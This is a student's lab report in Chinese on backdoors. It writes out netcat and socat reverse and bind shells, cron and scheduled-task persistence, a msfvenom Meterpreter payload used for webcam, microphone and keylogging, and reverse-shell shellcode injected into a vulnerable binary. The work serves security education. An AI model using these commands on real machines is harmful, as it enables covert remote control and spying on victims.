20191218 Exp2-后門原理與實踐
實驗基礎
本次實驗需要我們掌握后門的基礎知識,學習使用nc
實現Windows,Linux之間的后門連接,學習使用Metaspolit的msfvenom
指令生成簡單的后門程序,學會MSF POST模塊的應用。
基礎知識
后門的概念
后門就是不經過正常認證流程而訪問系統的通道。后門可能出現在編譯器中、操作系統中,最常見的是應用程序中的后門,還可能是潛伏於操作系統中或偽裝成特定應用的專用后門程序。
常用后門工具
-
NC和Netcat
底層工具,進行基本的TCP、UDP數據收發,常常被與其他工具結合使用,起到后門的作用。
- 在Linux系統中一般自帶netcat,使用man nc命令可以查看使用幫助
- 在Windows系統中,需要下載ncat.rar,解壓后可使用
-
SoCat
相當於Netcat++,一個超級Netcat工具。
在Windows下可以下載socat.rar,使用README作為參考。
任何代理、轉發等功能都可以用該工具實現。 -
Meterpreter
一個用來生成后門程序的程序。
它包含着后門的
- 基本功能(基本的連接、執行指令)
- 擴展功能(如搜集用戶信息、安裝服務等功能)
- 編碼模式
- 運行平台
- 運行參數
它把后門的內容全部做成零件或可調整的參數,按需組合使用形成需要的可執行文件。
常見的
Meterpreter
程序有- intersect
- Metaspolit的
msfvenom
指令 - Veil-evasion
本次實驗我們使用
msfvenom
指令生成后門可執行文件Meterpreter。
實驗目標
- 使用netcat獲取主機操作Shell,cron啟動
- 使用socat獲取主機操作Shell,任務計划啟動
- 使用MSF meterpreter(或其他軟件)生成可執行文件,利用ncat或socat傳送到主機並運行獲取主機Shell
- 使用MSF meterpreter(或其他軟件)生成獲取目標主機音頻、攝像頭、擊鍵記錄等內容,並嘗試提權
- 使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連接Shell。
實驗環境
環境
- 主機:Windows 10;
- 靶機:Kali Linux Debian 10;
在主機上用ipconfig
查看Windows10主機IP
主機IP為192.168.1.105
在Kali虛擬機中用sudo ifconfig
查看Kali虛擬機IP
Kali虛擬機IP為192.168.174.141
實驗過程
一、使用netcat獲取主機操作Shell,啟動cron
在主機中使用ncat -l -p 1218(個人學號后四位)
監聽本機的1218端口
(注:若Windows中未安裝ncat
命令,可以點擊ncat.rar下載,解壓后可使用)
在主機中獲取虛擬機shell
在虛擬機中使用nc 192.168.1.105(主機IP) 1218 -e /bin/sh
連接主機反彈shell
成功getshell
在虛擬機中獲取主機shell
在虛擬機中用nc -l -p 1218
監聽主機1218端口
在主機中用ncat -e cmd 192.168.174.141 1218
,成功獲取到主機shell
在虛擬機中啟動cron並在主機監聽
先在虛擬機上用crontab -e
指令編輯一條定時任務(crontab指令增加一條定時任務,-e表示編輯,輸入2表示選擇vim編輯器)
在最后一行添加18 * * * * nc 192.168.211.1 1218 -e /bin/sh
,即在每個小時的第18分鍾反向連接Windows主機的1218端口
等到每小時的18分,在ip地址為192.168.1.105的主機端用ncat -l -p 1218
打開監聽即可
在主機成功獲取虛擬機的shell
此外,也可以開一個非反彈式后門,在cron中寫入nc -l -p 1218 -e /bin/sh
,這是攻擊機能隨時通過nc 主機ip 1218
獲得虛擬機的一個Shell
二、使用socat獲取主機操作Shell,任務計划啟動
在Windows獲得Linux Shell
在Kali中用man socat
查看使用說明
在Windows中按Win+R
,再輸入compmgmt.msc
打開計算機管理
在系統工具中的任務計划程序中創建任務
設置任務名稱
新建觸發器
下一步是新建操作,但在新建操作前,我們需要在Windows上下載socat.rar,並解壓后使用,使用參考README
新建操作,操作設置為啟動程序socat.exe
,並添加參數tcp-listen:1218 exec:cmd.exe,pty,stderr
,這個命令的作用是把cmd.exe
綁定到端口1218,同時把cmd.exe的stderr重定向
設置好后我們按下Win+L
(通用)或者F10
(一些電腦適用)鎖定工作台,即把電腦鎖屏。解鎖后由於Windows防火牆沒關,發現彈出UAC警告,說明之前設置成功
在Kali中輸入命令socat - tcp:192.168.1.105:1218
成功獲取Windows的Shell
三、使用MSF meterpreter(或其他軟件)生成可執行文件,利用ncat或socat傳送到主機並運行獲取主機Shell
在Kali上生成后門可執行程序20191218_backdoor.exe
輸入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.174.141 LPORT=1218 -f exe > 20191218_backdoor.exe
,其中
LHOST
為反彈回連的IP,在這里是要反彈給Kali,也就是Kali的IPLPORT
是回連的端口-p
使用的payload。
payload翻譯為有效載荷,就是被運輸有東西。這里windows/meterpreter/reverse_tcp就是一段shellcode。-f
生成文件的類型>
輸出到哪個文件
在Windows上打開監聽
在Kali上用nc 192.168.1.105 1218 < 20191218_backdoor.exe
將生成的20191218_backdoor.exe
后門程序傳過去
在kali上使用msfconsole
指令進入msf控制台
對msf控制台進行配置
依次輸入以下命令
use exploit/multi/handler #使用監聽模塊,設置payload
set payload windows/meterpreter/reverse_tcp #使用和生成后門程序時相同的payload
set LHOST 192.168.174.141 #KaliIP,和生成后門程序時指定的IP相同
set LPORT 1218
配置完后的情況
接着輸入exploit
進行監聽,在Windows在打開20191218_backdoor.exe
后成功獲取到Windows的shell(注意最好把所有殺毒軟件退出,否則打開后門程序時很容易出現拒絕訪問的情況)
四、使用MSF meterpreter(或其他軟件)生成獲取目標主機音頻、攝像頭、擊鍵記錄等內容,並嘗試提權
獲取目標主機音頻
在之前進入的MSF exploit中輸入record_mic
指令進行錄音(-d
可設置時長)
獲取目標主機攝像頭
輸入webcam_snap
指令控制攝像頭進行拍照
run webcam
可以進行屏幕錄制,相當於不間斷地用攝像頭拍照片,並不斷存儲在一個jpg中,在文件系統中我們會看到一個在不斷變化的jpg文件
獲取擊鍵記錄
輸入keyscan_start
開始捕獲鍵盤記錄,keyscan_dump
獲取擊鍵記錄(-d
可設置時長)
截取主機屏幕
使用screenshot
指令可以進行截屏
五、使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連接Shell
前期准備,關閉地址隨機化
設置堆棧可執行
參考陳發強同學的博客網絡對抗實驗exp2,博客鏈接
msfvenom -p linux/x86/shell/reverse_nonx_tcp LHOST=192.168.174.141 LPORT=1218 -f c
生成的shellcode如下
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x97"
"\x5b\x68\xc0\xa8\xae\x8d\x66\x68\x04\xc2\x66\x53\x89\xe1\x6a"
"\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\x5b\x99\xb6\x0c\xb0"
"\x03\xcd\x80\xff\xe1"
結合exp1中找到的pwn1的返回地址(我的是0xffffd150
),加在shellcode開頭,再在上覆蓋緩沖區的隨意字符,首先在Kali上生成shellcode在Kali本地測試,用如下代碼生成inputEXP2
,然后再按照之前的方法設置msf控制台
perl -e 'print "A" x 32; print "\x50\xd1\xff\xff\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x97\x5b\x68\xc0\xa8\xae\x8d\x66\x68\x04\xc2\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\x5b\x99\xb6\x0c\xb0\x03\xcd\x80\xff\xe1"'
在一終端運行pwn1
在另一終端用msfexploit
監聽,本地攻擊成功
下面實現遠程攻擊,我選用的攻擊機是OpenEuler
首先在OpenEuler中安裝msf,首先輸入如下命令
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
在Kali上根據OpenEuler的IP重新生成shellcode
在OpenEuler上生成攻擊注入代碼
在Kali上開啟1218
端口
在OpenEuler上遠程注入攻擊
Kali上回顯
OpenEuler上彈出Kalishell,攻擊成功
基礎問題回答
例舉你能想到的一個后門進入到你系統中的可能方式?
在網上下載盜版的軟件,像下載某些付費軟件的“破解版”,可能其中已經被植入了后門。
例舉你知道的后門如何啟動起來(win及linux)的方式?
- Windows
遠程修改了Windows的任務管理計划,設置成系統進行特定動作如本次實驗我是用的鎖定屏幕,或者在特定時間觸發后門程序 - Linux
感覺和Windows啟動后門的方式有類似的地方,例如通過socat
和netcat
獲取shell、反彈連接等
Meterpreter有哪些給你印象深刻的功能?
在本次實驗前,我查找了一些有關Meterpreter的資料,對其啟動隱藏、難以被查殺、生成后門快捷方便等特點印象比較深刻。在實驗過程中我也實際操作使用了Meterpreter進行后門程序的生成,發現這真的是一個特別好使的工具,僅是簡單的msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.174.141 LPORT=1218 -f exe > 20191218_backdoor.exe
一句就可以生成相對應類型的后門。
如何發現自己有系統有沒有被安裝后門?
如果電腦經常出現一些異常情況則在一定程度上可認為系統被安裝了后門(其實Windows本身就被微軟植入了許多后門,只是還沒到暴露后門獲取情報的時候)
簡要說來有這樣一些異常情況:
-
經常死機
病毒打開了許多文件或占用了大量內存。 -
系統無法啟動
病毒修改了硬盤的引導信息,或刪除了某些啟動文件。 -
某些文件打不開
病毒修改了文件格式;病毒修改了文件鏈接位置。文件損壞;硬盤損壞;文件快捷方式對應的鏈接位置發生了變化;原來編輯文件的軟件刪除了。 -
經常報告內存不夠
病毒非法占用了大量內存,或是打開了大量的軟件。 -
提示硬盤空間不夠
病毒復制了大量的病毒文件。 -
出現大量來歷不明的文件
病毒作為母本復制了大量文件。 -
啟動黑屏/藍屏
病毒感染。 -
數據丟失
病毒刪除了文件。 -
系統運行速度慢
病毒占用了內存和CPU資源,在后台運行了大量非法操作。 -
系統自動執行操作
病毒在后台執行非法操作。
實驗心得
本次實驗內容感覺比較豐富,從最開始的使用ncat
和socat
獲取Linux、Windows的shell,到之后設置任務啟動計划,根據主機工作台鎖定這一操作觸發socat從而實現攻擊,再到之后使用Meterpreter生成針對特定系統的后門程序並對主機進行攻擊獲取主機的攝像頭權限、鍵盤記錄等等,最后到選做項結合實驗一的反彈連接,我對后門也算是有了一個比較直觀的認識,也算是實現了特定環境下的簡單攻擊(主要通過socat
和Meterpreter工具)。雖然這次實驗最多算照貓畫虎,但是在整個過程中我還是有不小的收獲,我不僅對后門原理理解更加深入,也對一些常用的后門工具更加熟悉。
這次實驗做到有些地方被卡住大概率是因為沒有關閉殺毒軟件(我在在用nc
傳文件時以為是網速問題足足等了幾個小時,后面嘗試直接把生成的后門程序直接拖到主機中發現也不能運行,這才注意到是某殺毒軟件沒關……),所以大家在做類似的網絡攻擊實驗時一定要先退出殺毒軟件(這也從側面體現出目前的環境下要實現一些網絡攻擊對大多數人來說還是有難度的)。此外,這次實驗讓我印象最深的便是第四項的控制主機攝像頭拍照、錄視頻。我們在影視作品或者一些媒體報導上會經常看到有關遠程控制電腦攝像頭的場景,當時我們可能會認為這種技術離我們太遠,而這次實驗就讓我們親身實踐了這項技術。雖然我們實驗內容是在設置了一定條件的環境下完成的,但通過實踐我們對這項技術的原理還是有更深的體會,這是我們之前所缺失的。